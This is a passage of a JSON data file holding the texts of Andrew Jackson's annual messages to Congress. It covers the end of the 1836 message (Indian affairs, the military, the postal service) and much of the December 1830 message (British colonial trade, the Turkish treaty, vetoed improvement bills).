hostilities.Happily for the interests of humanity, the hostilities with the Creeks\nwere brought to a close soon after your adjournment, without that\neffusion of blood which at one time was apprehended as inevitable. The\nunconditional submission of the hostile party was followed by their\nspeedy removal to the country assigned them West of the Mississippi.\nThe inquiry as to alleged frauds in the purchase of the reservations of\nthese Indians and the causes of their hostilities, requested by the\nresolution of the House of Representatives of the first of July last\nJuly 1st, 1836 to be made by the President, is now going on through the\nagency of commissioners appointed for that purpose. Their report may be\nexpected during your present session.The difficulties apprehended in the Cherokee country have been\nprevented, and the peace and safety of that region and its vicinity\neffectually secured, by the timely measures taken by the War\nDepartment, and still continued.The discretionary authority given to General Gaines to cross the Sabine\nand to occupy a position as far West as Nacogdoches, in case he should\ndeem such a step necessary to the protection of the frontier and to the\nfulfillment of the stipulations contained in our treaty with Mexico,\nand the movement subsequently made by that officer have been alluded to\nin a former part of this message. At the date of the latest\nintelligence from Nacogdoches our troops were yet at that station, but\nthe officer who has succeeded General Gaines has recently been advised\nthat from the facts known at the seat of Government there would seem to\nbe no adequate cause for any longer maintaining that position, and he\nwas accordingly instructed, in case the troops were not already\nwithdrawn under the discretionary powers before possessed by him, to\ngive the requisite orders for that purpose on the receipt of the\ninstructions, unless he shall then have in his possession such\ninformation as shall satisfy him that the maintenance of the post is\nessential to the protection of our frontiers and to the due execution\nof our treaty stipulations, as previously explained to him.Whilst the necessities existing during the present year for the service\nof militia and volunteers have furnished new proofs of the patriotism\nof our fellow citizens, they have also strongly illustrated the\nimportance of an increase in the rank and file of the Regular Army. The\nviews of this subject submitted by the Secretary of War in his report\nmeet my entire concurrence, and are earnestly commended to the\ndeliberate attention of Congress. In this connection it is also proper\nto remind you that the defects in our present militia system are every\nday rendered more apparent. The duty of making further provision by law\nfor organizing, arming, and disciplining this arm of defense has been\nso repeatedly presented to Congress by myself and my predecessors that\nI deem it sufficient on this occasion to refer to the last annual\nmessage and to former Executive communications in which the subject has\nbeen discussed.It appears from the reports of the officers charged with mustering into\nservice the volunteers called for under the act of Congress of the last\nsession that more presented themselves at the place of rendezvous in\nTennessee than were sufficient to meet the requisition which had been\nmade by the Secretary of War upon the governor of that State. This was\noccasioned by the omission of the governor to apportion the requisition\nto the different regiments of militia so as to obtain the proper number\nof troops and no more. It seems but just to the patriotic citizens who\nrepaired to the general rendezvous under circumstances authorizing them\nto believe that their services were needed and would be accepted that\nthe expenses incurred by them while absent from their homes should be\npaid by the Government. I accordingly recommend that a law to this\neffect be passed by Congress, giving them a compensation which will\ncover their expenses on the march to and from the place of rendezvous\nand while there; in connection with which it will also be proper to\nmake provision for such other equitable claims growing out of the\nservice of the militia as may not be embraced in the existing laws.On the unexpected breaking out of hostilities in Florida, Alabama, and\nGeorgia it became necessary in some cases to take the property of\nindividuals for public use. Provision should be made by law for\nindemnifying the owners; and I would also respectfully suggest whether\nsome provision may not be made, consistently with the principles of our\nGovernment, for the relief of the sufferers by Indian depredations or\nby the operations of our own troops.No time was lost after the making of the requisite appropriations in\nresuming the great national work of completing the unfinished\nfortifications on our sea-board and of placing them in a proper state\nof defense. In consequence, however, of the very late day at which\nthose bills were passed, but little progress could be made during the\nseason which has just closed. A very large amount of the moneys granted\nat your last session accordingly remains unexpended; but as the work\nwill be again resumed at the earliest moment in the coming spring, the\nbalance of the existing appropriations, and in several cases which will\nbe laid before you, with the proper estimates, further sums for the\nlike objects, may be usefully expended during the next year.The recommendations of an increase in the Engineer Corps and for a\nreorganization of the Topographical Corps, submitted to you in my last\nannual message, derive additional strength from the great\nembarrassments experienced during the present year in those branches of\nthe service, and under which they are now suffering. Several of the\nmost important surveys and constructions directed by recent laws have\nbeen suspended in consequence of the want of adequate force in these\ncorps.The like observations may be applied to the Ordnance Corps and to the\ngeneral staff, the operations of which as they are now organized must\neither be frequently interrupted or performed by officers taken from\nthe line of the Army, to the great prejudice of the service.For a general view of the condition of the Military Academy and of\nother branches of the military service not already noticed, as well as\nfor further illustrations of those which have been mentioned, I refer\nyou to the accompanying documents, and among the various proposals\ncontained therein for legislative action I would particularly notice\nthe suggestion of the Secretary of War for the revision of the pay of\nthe Army as entitled to your favorable regard.The national policy, founded alike in interest and in humanity, so long\nand so steadily pursued by this Government for the removal of the\nIndian tribes originally settled on this side of the Mississippi to the\nW of that river, may be said to have been consummated by the conclusion\nof the late treaty with the Cherokees. The measures taken in the\nexecution of that treaty and in relation to our Indian affairs\ngenerally will fully appear by referring to the accompanying papers.\nWithout dwelling on the numerous and important topics embraced in them,\nI again invite your attention to the importance of providing a\nwell-digested and comprehensive system for the protection, supervision,\nand improvement of the various tribes now planted in the Indian\ncountry.The suggestions submitted by the Commissioner of Indian Affairs, and\nenforced by the Secretary, on this subject, and also in regard to the\nestablishment of additional military posts in the Indian country, are\nentitled to your profound consideration. Both measures are necessary,\nfor the double purpose of protecting the Indians from intestine war,\nand in other respects complying with our engagements with them, and of\nsecuring our western frontier against incursions which otherwise will\nassuredly be made on it. The best hopes of humanity in regard to the\naboriginal race, the welfare of our rapidly extending settlements, and\nthe honor of the United States are all deeply involved in the relations\nexisting between this Government and the emigrating tribes. I trust,\ntherefore, that the various matters submitted in the accompanying\ndocuments in respect to those relations will receive your early and\nmature deliberation, and that it may issue in the adoption of\nlegislative measures adapted to the circumstances and duties of the\npresent crisis.You are referred to the report of the Secretary of the Navy for a\nsatisfactory view of the operations of the Department under his charge\nduring the present year. In the construction of vessels at the\ndifferent navy yards and in the employment of our ships and squadrons\nat sea that branch of the service has been actively and usefully\nemployed. While the situation of our commercial interests in the West\nIndies required a greater number than usual of armed vessels to be kept\non that station, it is gratifying to perceive that the protection due\nto our commerce in other quarters of the world has not proved\ninsufficient. Every effort has been made to facilitate the equipment of\nthe exploring expedition authorized by the act of the last session, but\nall the preparation necessary to enable it to sail has not yet been\ncompleted. No means will be spared by the Government to fit out the\nexpedition on a scale corresponding with the liberal appropriations for\nthe purpose and with the elevated character of the objects which are to\nbe effected by it.I beg leave to renew the recommendation made in my last annual message\nrespecting the enlistment of boys in our naval service, and to urge\nupon your attention the necessity of further appropriations to increase\nthe number of ships afloat and to enlarge generally the capacity and\nforce of the Navy. The increase of our commerce and our position in\nregard to the other powers of the world will always make it our policy\nand interest to cherish the great naval resources of our country.The report of the Post Master General presents a gratifying picture of\nthe condition of the Post Office Department. Its revenues for the year\nending the 30th June last were $3,398,455.19, showing an increase of\nrevenue over that of the preceding year of $404,878.53, or more than\n13%. The expenditures for the same year were $2,755,623.76, exhibiting\na surplus of $642,831.43. The Department has been redeemed from\nembarrassment and debt, has accumulated a surplus exceeding half a\nmillion dollars, has largely extended and is preparing still further to\nextend the mail service, and recommends a reduction of postages equal\nto about 20%. It is practicing upon the great principle which should\ncontrol every branch of our Government of rendering to the public the\ngreatest good possible with the least possible taxation to the people.The scale of postages suggested by the Post Master General recommends\nitself, not only by the reduction it proposes, but by the simplicity of\nits arrangement, its conformity with the Federal currency, and the\nimprovement it will introduce into the accounts of the Department and\nits agents.Your particular attention is invited to the subject of mail contracts\nwith railroad companies. The present laws providing for the making of\ncontracts are based upon the presumption that competition among bidders\nwill secure the service at a fair price; but on most of the railroad\nlines there is no competition in that kind of transportation, and\nadvertising is therefore useless. No contract can now be made with them\nexcept such as shall be negotiated before the time of offering or\nafterwards, and the power of the Post Master General to pay them high\nprices is practically without limitation. It would be a relief to him\nand no doubt would conduce to the public interest to prescribe by law\nsome equitable basis upon which such contracts shall rest, and restrict\nhim by a fixed rule of allowance. Under a liberal act of that sort he\nwould undoubtedly be able to secure the services of most of the\nrailroad companies, and the interest of the Department would be thus\nadvanced.The correspondence between the people of the United States and the\nEuropean nations, and particularly with the British Islands, has become\nvery extensive, and requires the interposition of Congress to give it\nsecurity. No obstacle is perceived to an interchange of mails between\nNew York and Liverpool or other foreign ports, as proposed by the Post\nMaster General. On the contrary, it promises, by the security it will\nafford, to facilitate commercial transactions and give rise to an\nenlarged intercourse among the people of different nations, which can\nnot but have a happy effect. Through the city of New York most of the\ncorrespondence between the Canadas and Europe is now carried on, and\nurgent representations have been received from the head of the\nprovincial post office asking the interposition of the United States to\nguard it from the accidents and losses to which it is now subjected.\nSome legislation appears to be called for as well by our own interest\nas by comity to the adjoining British provinces.The expediency of providing a fire-proof building for the important\nbooks and papers of the Post Office Department is worthy of\nconsideration. In the present condition of our Treasury it is neither\nnecessary nor wise to leave essential public interests exposed to so\nmuch danger when they can so readily be made secure. There are weighty\nconsiderations in the location of a new building for that Department in\nfavor of placing it near the other executive buildings.The important subjects of a survey of the coast and the manufacture of\na standard of weights and measures for the different custom houses have\nbeen in progress for some years under the general direction of the\nExecutive and the immediate superintendence of a gentleman possessing\nhigh scientific attainments. At the last session of Congress the making\nof a set of weights and measures for each State in the Union was added\nto the others by a joint resolution.The care and correspondence as to all these subjects have been devolved\non the Treasury Department during the last year. A special report from\nthe Secretary of the Treasury will soon be communicated to Congress,\nwhich will show what has been accomplished as to the whole, the number\nand compensation of the persons now employed in these duties, and the\nprogress expected to be made during the ensuing year, with a copy of\nthe various correspondence deemed necessary to throw light on the\nsubjects which seem to require additional legislation.Claims have been made for retrospective allowances in behalf of the\nsuperintendent and some of his assistants, which I did not feel\njustified in granting. Other claims have been made for large increases\nin compensation, which, under the circumstances of the several cases, I\ndeclined making without the express sanction of Congress. In order to\nobtain that sanction the subject was at the last session, on my\nsuggestion and by request of the immediate superintendent, submitted by\nthe Treasury Department to the Committee on Commerce of the House of\nRepresentatives. But no legislative action having taken place, the\nearly attention of Congress is now invited to the enactment of some\nexpress and detailed provisions in relation to the various claims made\nfor the past, and to the compensation and allowances deemed proper for\nthe future.It is further respectfully recommended that, such being the\ninconvenience of attention to these duties by the Chief Magistrate, and\nsuch the great pressure of business on the Treasury Department, the\ngeneral supervision of the coast survey and the completion of the\nweights and measures, if the works are kept united, should be devolved\non a board of officers organized specially for that purpose, or on the\nNavy Board attached to the Navy Department.All my experience and reflection confirm the conviction I have so often\nexpressed to Congress in favor of an amendment of the Constitution\nwhich will prevent in any event the election of the President and Vice\nPresident of the United States devolving on the House of\nRepresentatives and the Senate, and I therefore beg leave again to\nsolicit your attention to the subject. There were various other\nsuggestions in my last annual message not acted upon, particularly that\nrelating to the want of uniformity in the laws of the District of\nColumbia, that are deemed worthy of your favorable consideration.Before concluding this paper I think it due to the various Executive\nDepartments to bear testimony to their prosperous condition and to the\nability and integrity with which they have been conducted. It has been\nmy aim to enforce in all of them a vigilant and faithful discharge of\nthe public business, and it is gratifying to me to believe that there\nis no just cause of complaint from any quarter at the manner in which\nthey have fulfilled the objects of their creation.Having now finished the observations deemed proper on this the last\noccasion I shall have of communicating with the two Houses of Congress\nat their meeting, I can not omit an expression of the gratitude which\nis due to the great body of my fellow citizens, in whose partiality and\nindulgence I have found encouragement and support in the many difficult\nand trying scenes through which it has been my lot to pass during my\npublic career. Though deeply sensible that my exertions have not been\ncrowned with a success corresponding to the degree of favor bestowed\nupon me, I am sure that they will be considered as having been directed\nby an earnest desire to promote the good of my country, and I am\nconsoled by the persuasion that what ever errors have been committed\nwill find a corrective in the intelligence and patriotism of those who\nwill succeed us. All that has occurred during my Administration is\ncalculated to inspire me with increased confidence in the stability of\nour institutions; and should I be spared to enter upon that retirement\nwhich is so suitable to my age and infirm health and so much desired by\nme in other respects, I shall not cease to invoke that beneficent Being\nto whose providence we are already so signally indebted for the\ncontinuance of His blessings on our beloved country.", 
+    "name": "Andrew Jackson"
+}
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+{
+    "date": "December 6, 1830", 
+    "speech": "Fellow Citizens of the Senate and of the House of Representatives:The pleasure I have in congratulating you upon your return to your\nconstitutional duties is much heightened by the satisfaction which the\ncondition of our beloved country at this period justly inspires. The\nbeneficent Author of All Good has granted to us during the present year\nhealth, peace, and plenty, and numerous causes for joy in the wonderful\nsuccess which attends the progress of our free institutions.With a population unparalleled in its increase, and possessing a\ncharacter which combines the hardihood of enterprise with the\nconsiderateness of wisdom, we see in every section of our happy country\na steady improvement in the means of social intercourse, and\ncorrespondent effects upon the genius and laws of our extended\nRepublic.The apparent exceptions to the harmony of the prospect are to be\nreferred rather to inevitable diversities in the various interests\nwhich enter into the composition of so extensive a whole than any want\nof attachment to the Union--interests whose collisions serve only in\nthe end to foster the spirit of conciliation and patriotism so\nessential to the preservation of that Union which I most devoutly hope\nis destined to prove imperishable.In the midst of these blessings we have recently witnessed changes in\nthe conditions of other nations which may in their consequences call\nfor the utmost vigilance, wisdom, and unanimity in our councils, and\nthe exercise of all the moderation and patriotism of our people.The important modifications of their Government, effected with so much\ncourage and wisdom by the people of France, afford a happy presage of\ntheir future course, and have naturally elicited from the kindred\nfeelings of this nation that spontaneous and universal burst of\napplause in which you have participated. In congratulating you, my\nfellow citizens, upon an event so auspicious to the dearest interests\nof man-kind I do no more than respond to the voice of my country,\nwithout transcending in the slightest degree that salutary maxim of the\nillustrious Washington which enjoins an abstinence from all\ninterference with the internal affairs of other nations. From a people\nexercising in the most unlimited degree the right of self-government,\nand enjoying, as derived from this proud characteristic, under the\nfavor of Heaven, much of the happiness with which they are blessed; a\npeople who can point in triumph to their free institutions and\nchallenge comparison with the fruits they bear, as well as with the\nmoderation, intelligence, and energy with which they are administered--\nfrom such a people the deepest sympathy was to be expected in a\nstruggle for the sacred principles of liberty, conducted in a spirit\nevery way worthy of the cause, and crowned by a heroic moderation which\nhas disarmed revolution of its terrors. Not withstanding the strong\nassurances which the man whom we so sincerely love and justly admire\nhas given to the world of the high character of the present King of the\nFrench, and which if sustained to the end will secure to him the proud\nappellation of Patriot King, it is not in his success, but in that of\nthe great principle which has borne him to the throne--the paramount\nauthority of the public will--that the American people rejoice.I am happy to inform you that the anticipations which were indulged at\nthe date of my last communication on the subject of our foreign affairs\nhave been fully realized in several important particulars.An arrangement has been effected with Great Britain in relation to the\ntrade between the United States and her West India and North American\ncolonies which has settled a question that has for years afforded\nmatter for contention and almost uninterrupted discussion, and has been\nthe subject of no less than six negotiations, in a manner which\npromises results highly favorable to the parties.The abstract right of Great Britain to monopolize the trade with her\ncolonies or to exclude us from a participation therein has never been\ndenied by the United States. But we have contended, and with reason,\nthat if at any time Great Britain may desire the productions of this\ncountry as necessary to her colonies they must be received upon\nprinciples of just reciprocity, and, further, that it is making an\ninvidious and unfriendly distinction to open her colonial ports to the\nvessels of other nations and close them against those of the United\nStates.Antecedently to 1794 a portion of our productions was admitted into the\ncolonial islands of Great Britain by particular concessions, limited to\nthe term of one year, but renewed from year to year. In the\ntransportation of these productions, however, our vessels were not\nallowed to engage, this being a privilege reserved to British shipping,\nby which alone our produce could be taken to the islands and theirs\nbrought to us in return. From Newfoundland and her continental\npossessions all our productions, as well as our vessels, were excluded,\nwith occasional relaxations, by which, in seasons of distress, the\nformer were admitted in British bottoms.By the treaty of 1794 she offered to concede to us for a limited time\nthe right of carrying to her West India possessions in our vessels not\nexceeding 70 tons burthen, and upon the same terms as British vessels,\nany productions of the United States which British vessels might import\ntherefrom. But this privilege was coupled with conditions which are\nsupposed to have led to its rejection by the Senate; that is, that\nAmerican vessels should land their return cargoes in the United States\nonly, and, moreover, that they should during the continuance of the\nprivilege be precluded from carrying molasses, sugar, coffee, cocoa, or\ncotton either from those islands or from the United States to any other\npart of the world. Great Britain readily consented to expunge this\narticle from the treaty, and subsequent attempts to arrange the terms\nof the trade either by treaty stipulations or concerted legislation\nhave failed, it has been successively suspended and allowed according\nto the varying legislation of the parties.The following are the prominent points which have in later years\nseparated the two Governments: Besides a restriction whereby all\nimportations into her colonies in American vessels are confined to our\nown products carried hence, a restriction to which it does not appear\nthat we have ever objected, a leading object on the part of Great\nBritain has been to prevent us from becoming the carriers of British\nWest India commodities to any other country than our own. On the part\nof the United States it has been contended, first, that the subject\nshould be regulated by treaty stipulation in preference to separate\nlegislation; second, that our productions, when imported into the\ncolonies in question, should not be subject to higher duties than the\nproductions of the mother country or of her other colonial possessions,\nand, 3rd, that our vessels should be allowed to participate in the\ncircuitous trade between the United States and different parts of the\nBritish dominions.The first point, after having been for a long time strenuously insisted\nupon by Great Britain, was given up by the act of Parliament of July,\n1825, all vessels suffered to trade with the colonies being permitted\nto clear from thence with any articles which British vessels might\nexport and proceed to any part of the world, Great Britain and her\ndependencies alone excepted. On our part each of the above points had\nin succession been explicitly abandoned in negotiations preceding that\nof which the result is now announced.This arrangement secures to the United States every advantage asked by\nthem, and which the state of the negotiation allowed us to insist upon.\nThe trade will be placed upon a footing decidedly more favorable to\nthis country than any on which it ever stood, and our commerce and\nnavigation will enjoy in the colonial ports of Great Britain every\nprivilege allowed to other nations.That the prosperity of the country so far as it depends on this trade\nwill be greatly promoted by the new arrangement there can be no doubt.\nIndependently of the more obvious advantages of an open and direct\nintercourse, its establishment will be attended with other consequences\nof a higher value. That which has been carried on since the mutual\ninterdict under all the expense and inconvenience unavoidably incident\nto it would have been insupportably onerous had it not been in a great\ndegree lightened by concerted evasions in the mode of making the\ntransshipments at what are called the neutral ports. These indirections\nare inconsistent with the dignity of nations that have so many motives\nnot only to cherish feelings of mutual friendship, but to maintain such\nrelations as will stimulate their respective citizens and subjects to\nefforts of direct, open, and honorable competition only, and preserve\nthem from the influence of seductive and vitiating circumstances.When your preliminary interposition was asked at the close of the last\nsession, a copy of the instructions under which Mr. McLane has acted,\ntogether with the communications which had at that time passed between\nhim and the British Government, was laid before you. Although there has\nnot been any thing in the acts of the two Governments which requires\nsecrecy, it was thought most proper in the then state of the\nnegotiation to make that communication a confidential one. So soon,\nhowever, as the evidence of execution on the part of Great Britain is\nreceived the whole matter shall be laid before you, when it will be\nseen that the apprehension which appears to have suggested one of the\nprovisions of the act passed at your last session, that the restoration\nof the trade in question might be connected with other subjects and was\nsought to be obtained at the sacrifice of the public interest in other\nparticulars, was wholly unfounded, and that the change which has taken\nplace in the views of the British Government has been induced by\nconsiderations as honorable to both parties as I trust the result will\nprove beneficial.This desirable result was, it will be seen, greatly promoted by the\nliberal and confiding provisions of the act of Congress of the last\nsession, by which our ports were upon the reception and annunciation by\nthe President of the required assurance on the part of Great Britain\nforthwith opened to her vessels before the arrangement could be carried\ninto effect on her part, pursuing in this act of prospective\nlegislation a similar course to that adopted by Great Britain in\nabolishing, by her act of Parliament in 1825, a restriction then\nexisting and permitting our vessels to clear from the colonies on their\nreturn voyages for any foreign country whatever before British vessels\nhad been relieved from the restriction imposed by our law of returning\ndirectly from the United States to the colonies, a restriction which\nshe required and expected that we should abolish. Upon each occasion a\nlimited and temporary advantage has been given to the opposite party,\nbut an advantage of no importance in comparison with the restoration of\nmutual confidence and good feeling, and the ultimate establishment of\nthe trade upon fair principles.It gives me unfeigned pleasure to assure you that this negotiation has\nbeen throughout characterized by the most frank and friendly spirit on\nthe part of Great Britain, and concluded in a manner strongly\nindicative of a sincere desire to cultivate the best relations with the\nUnited States. To reciprocate this disposition to the fullest extent of\nmy ability is a duty which I shall deem it a privilege to discharge.Although the result is itself the best commentary on the services\nrendered to his country by our minister at the Court of St. James, it\nwould be doing violence to my feelings were I to dismiss the subject\nwithout expressing the very high sense I entertain of the talent and\nexertion which have been displayed by him on the occasion.The injury to the commerce of the United States resulting from the\nexclusion of our vessels from the Black Sea and the previous footing of\nmere sufferance upon which even the limited trade enjoyed by us with\nTurkey has hitherto been placed have for a long time been a source of\nmuch solicitude to this Government, and several endeavors have been\nmade to obtain a better state of things. Sensible of the importance of\nthe object, I felt it my duty to leave no proper means unemployed to\nacquire for our flag the same privileges that are enjoyed by the\nprincipal powers of Europe. Commissioners were consequently appointed\nto open a negotiation with the Sublime Porte. Not long after the member\nof the commission who went directly from the United States had sailed,\nthe account of the treaty of Adrianople, by which one of the objects in\nview was supposed to be secured, reached this country. The Black Sea\nwas understood to be opened to us. Under the supposition that this was\nthe case, the additional facilities to be derived from the\nestablishment of commercial regulations with the Porte were deemed of\nsufficient importance to require a prosecution of the negotiation as\noriginally contemplated. It was therefore persevered in, and resulted\nin a treaty, which will be forthwith laid before the Senate.By its provisions a free passage is secured, without limitations of\ntime, to the vessels of the United States to and from the Black Sea,\nincluding the navigation thereof, and our trade with Turkey is placed\non the footing of the most favored nation. The latter is an arrangement\nwholly independent of the treaty of Adrianople, and the former derives\nmuch value, not only from the increased security which under any\ncircumstances it would give to the right in question, but from the\nfact, ascertained in the course of the negotiation, that by the\nconstruction put upon that treaty by Turkey the article relating to the\npassage of the Bosphorus is confined to nations having treaties with\nthe Porte. The most friendly feelings appear to be entertained by the\nSultan, and an enlightened disposition is evinced by him to foster the\nintercourse between the two countries by the most liberal arrangements.\nThis disposition it will be our duty and interest to cherish.Our relations with Russia are of the most stable character. Respect for\nthat Empire and confidence in its friendship toward the United States\nhave been so long entertained on our part and so carefully cherished by\nthe present Emperor and his illustrious predecessor as to have become\nincorporated with the public sentiment of the United States. No means\nwill be left unemployed on my part to promote these salutary feelings\nand those improvements of which the commercial intercourse between the\ntwo countries is susceptible, and which have derived increased\nimportance from our treaty with the Sublime Porte.I sincerely regret to inform you that our minister lately commissioned\nto that Court, on whose distinguished talents and great experience in\npublic affairs I place great reliance, has been compelled by extreme\nindisposition to exercise a privilege which, in consideration of the\nextent to which his constitution had been impaired in the public\nservice, was committed to his discretion--of leaving temporarily his\npost for the advantage of a more genial climate.If, as it is to be hoped, the improvement of his health should be such\nas to justify him in doing so, he will repair to St. Petersburg and\nresume the discharge of his official duties. I have received the most\nsatisfactory assurances that in the mean time the public interest in\nthat quarter will be preserved from prejudice by the intercourse which\nhe will continue through the secretary of legation with the Russian\ncabinet.You are apprised, although the fact has not yet been officially\nannounced to the House of Representatives, that a treaty was in the\nmonth of March last concluded between the United States, and Denmark,\nby which $650 thousand are secured to our citizens as an indemnity for\nspoliations upon their commerce in the years 1808, 1809, 1810, and\n1811. This treaty was sanctioned by the Senate at the close of its last\nsession, and it now becomes the duty of Congress to pass the necessary\nlaws for the organization of the board of commissioners to distribute\nthe indemnity among the claimants. It is an agreeable circumstance in\nthis adjustment that the terms are in conformity with the previously\nascertained views of the claimants themselves, thus removing all\npretense for a future agitation of the subject in any form.The negotiations in regard to such points in our foreign relations as\nremain to be adjusted have been actively prosecuted during the recess.\nMaterial advances have been made, which are of a character to promise\nfavorable results. Our country, by the blessing of God, is not in a\nsituation to invite aggression, and it will be our fault if she ever\nbecomes so. Sincerely desirous to cultivate the most liberal and\nfriendly relations with all; ever ready to fulfill our engagements with\nscrupulous fidelity; limiting our demands upon others to mere justice;\nholding ourselves ever ready to do unto them as we would wish to be\ndone by, and avoiding even the appearance of undue partiality to any\nnation, it appears to me impossible that a simple and sincere\napplication of our principles to our foreign relations can fail to\nplace them ultimately upon the footing on which it is our wish they\nshould rest.Of the points referred to, the most prominent are our claims upon\nFrance for spoliations upon our commerce; similar claims upon Spain,\ntogether with embarrassments in the commercial intercourse between the\ntwo countries which ought to be removed; the conclusion of the treaty\nof commerce and navigation with Mexico, which has been so long in\nsuspense, as well as the final settlement of limits between ourselves\nand that Republic, and, finally, the arbitrament of the question\nbetween the United States and Great Britain in regard to the\nnorth-eastern boundary.The negotiation with France has been conducted by our minister with\nzeal and ability, and in all respects to my entire satisfaction.\nAlthough the prospect of a favorable termination was occasionally\ndimmed by counter pretensions to which the United States could not\nassent, he yet had strong hopes of being able to arrive at a\nsatisfactory settlement with the late Government. The negotiation has\nbeen renewed with the present authorities, and, sensible of the general\nand lively confidence of our citizens in the justice and magnanimity of\nregenerated France, I regret the more not to have it in my power yet to\nannounce the result so confidently anticipated. No ground, however,\ninconsistent with this expectation has yet been taken, and I do not\nallow myself to doubt that justice will soon be done us. The amount of\nthe claims, the length of time they have remained unsatisfied, and\ntheir incontrovertible justice make an earnest prosecution of them by\nthis Government an urgent duty. The illegality of the seizures and\nconfiscations out of which they have arisen is not disputed, and what\never distinctions may have heretofore been set up in regard to the\nliability of the existing Government it is quite clear that such\nconsiderations can not now be interposed.The commercial intercourse between the two countries is susceptible of\nhighly advantageous improvements, but the sense of this injury has had,\nand must continue to have, a very unfavorable influence upon them. From\nits satisfactory adjustment not only a firm and cordial friendship, but\na progressive development of all their relations, may be expected. It\nis, therefore, my earnest hope that this old and vexatious subject of\ndifference may be speedily removed.I feel that my confidence in our appeal to the motives which should\ngovern a just and magnanimous nation is alike warranted by the\ncharacter of the French people and by the high voucher we possess for\nthe enlarged views and pure integrity of the Monarch who now presides\nover their councils, and nothing shall be wanting on my part to meet\nany manifestation of the spirit we anticipate in one of corresponding\nfrankness and liberality.The subjects of difference with Spain have been brought to the view of\nthat Government by our minister there with much force and propriety,\nand the strongest assurances have been received of their early and\nfavorable consideration.The steps which remained to place the matter in controversy between\nGreat Britain and the United States fairly before the arbitrator have\nall been taken in the same liberal and friendly spirit which\ncharacterized those before announced. Recent events have doubtless\nserved to delay the decision, but our minister at the Court of the\ndistinguished arbitrator has been assured that it will be made within\nthe time contemplated by the treaty.I am particularly gratified in being able to state that a decidedly\nfavorable, and, as I hope, lasting, change has been effected in our\nrelations with the neighboring Republic of Mexico. The unfortunate and\nunfounded suspicions in regard to our disposition which it became my\npainful duty to advert to on a former occasion have been, I believe,\nentirely removed, and the Government of Mexico has been made to\nunderstand the real character of the wishes and views of this in regard\nto that country. The consequences is the establishment of friendship\nand mutual confidence. Such are the assurances I have received, and I\nsee no cause to doubt their sincerity.I had reason to expect the conclusion of a commercial treaty with\nMexico in season for communication on the present occasion.\nCircumstances which are not explained, but which I am persuaded are not\nthe result of an indisposition on her part to enter into it, have\nproduced the delay.There was reason to fear in the course of the last summer that the\nharmony of our relations might be disturbed by the acts of certain\nclaimants, under Mexican grants, of territory which had hitherto been\nunder our jurisdiction. The cooperation of the representative of Mexico\nnear this Government was asked on the occasion and was readily\nafforded. Instructions and advice have been given to the governor of\nArkansas and the officers in command in the adjoining Mexican State by\nwhich it is hoped the quiet of that frontier will be preserved until a\nfinal settlement of the dividing line shall have removed all ground of\ncontroversy.The exchange of ratifications of the treaty concluded last year with\nAustria has not yet taken place. The delay has been occasioned by the\nnon-arrival of the ratification of that Government within the time\nprescribed by the treaty. Renewed authority has been asked for by the\nrepresentative of Austria, and in the mean time the rapidly increasing\ntrade and navigation between the two countries have been placed upon\nthe most liberal footing of our navigation acts.Several alleged depredations have been recently committed on our\ncommerce by the national vessels of Portugal. They have been made the\nsubject of immediate remonstrance and reclamation. I am not yet\npossessed of sufficient information to express a definitive opinion of\ntheir character, but expect soon to receive it. No proper means shall\nbe omitted to obtain for our citizens all the redress to which they may\nappear to be entitled.Almost at the moment of the adjournment of your last session two\nbills--the one entitled \"An act for making appropriations for building\nlight houses, light boats, beacons, and monuments, placing buoys, and\nfor improving harbors and directing surveys\", and the other \"An act to\nauthorize a subscription for stock in the Louisville and Portland Canal\nCompany\"--were submitted for my approval. It was not possible within\nthe time allowed for me before the close of the session to give to\nthese bills the consideration which was due to their character and\nimportance, and I was compelled to retain them for that purpose. I now\navail myself of this early opportunity to return them to the Houses in\nwhich they respectively originated with the reasons which, after mature\ndeliberation, compel me to withhold my approval.The practice of defraying out of the Treasury of the United States the\nexpenses incurred by the establishment and support of light houses,\nbeacons, buoys, and public piers within the bays, inlets, harbors, and\nports of the United States, to render the navigation thereof safe and\neasy, is coeval with the adoption of the Constitution, and has been\ncontinued without interruption or dispute.As our foreign commerce increased and was extended into the interior of\nthe country by the establishment of ports of entry and delivery upon\nour navigable rivers the sphere of those expenditures received a\ncorresponding enlargement. Light houses, beacons, buoys, public piers,\nand the removal of sand bars, sawyers, and other partial or temporary\nimpediments in the navigable rivers and harbors which were embraced in\nthe revenue districts from time to time established by law were\nauthorized upon the same principle and the expense defrayed in the same\nmanner. That these expenses have at times been extravagant and\ndisproportionate is very probable. The circumstances under which they\nare incurred are well calculated to lead to such a result unless their\napplication is subjected to the closest scrutiny. The local advantages\narising from the disbursement of public money too frequently, it is to\nbe feared, invite appropriations for objects of this character that are\nneither necessary nor useful.The number of light house keepers is already very large, and the bill\nbefore me proposes to add to it 51 more of various descriptions. From\nrepresentations upon the subject which are understood to be entitled to\nrespect I am induced to believe that there has not only been great\nimprovidence in the past expenditures of the Government upon these\nobjects, but that the security of navigation has in some instances been\ndiminished by the multiplication of light houses and consequent change\nof lights upon the coast. It is in this as in other respects our duty\nto avoid all unnecessary expense, as well as every increase of\npatronage not called for by the public service.But in the discharge of that duty in this particular it must not be\nforgotten that in relation to our foreign commerce the burden and\nbenefit of protecting and accommodating it necessarily go together, and\nmust do so as long as the public revenue is drawn from the people\nthrough the custom house. It is indisputable that whatever gives\nfacility and security to navigation cheapens imports and all who\nconsume them are alike interested in what ever produces this effect. If\nthey consume, they ought, as they now do, to pay; otherwise they do not\npay. The consumer in the most inland State derives the same advantage\nfrom every necessary and prudent expenditure for the facility and\nsecurity of our foreign commerce and navigation that he does who\nresides in a maritime State. Local expenditures have not of themselves\na corresponding operation.From a bill making direct appropriations for such objects I should\nnot have withheld my assent. The one now returned does so in several\nparticulars, but it also contains appropriations for surveys of local\ncharacter, which I can not approve. It gives me satisfaction to find\nthat no serious inconvenience has arisen from withholding my approval\nfrom this bill; nor will it, I trust, be cause of regret that an\nopportunity will be thereby afforded for Congress to review its\nprovisions under circumstances better calculated for full investigation\nthan those under which it was passed.In speaking of direct appropriations I mean not to include a practice\nwhich has obtained to some extent, and to which I have in one instance,\nin a different capacity, given my assent--that of subscribing to the\nstock of private associations. Positive experience and a more thorough\nconsideration of the subject have convinced me of the impropriety as\nwell as inexpediency of such investments. All improvements effected by\nthe funds of the nation for general use should be open to the enjoyment\nof all our fellow citizens, exempt from the payment of tolls or any\nimposition of that character. The practice of thus mingling the\nconcerns of the Government with those of the States or of individuals\nis inconsistent with the object of its institution and highly impolite.\nThe successful operation of the federal system can only be preserved by\nconfining it to the few and simple, but yet important, objects for\nwhich it was designed.A different practice, if allowed to progress, would ultimately change\nthe character of this Government by 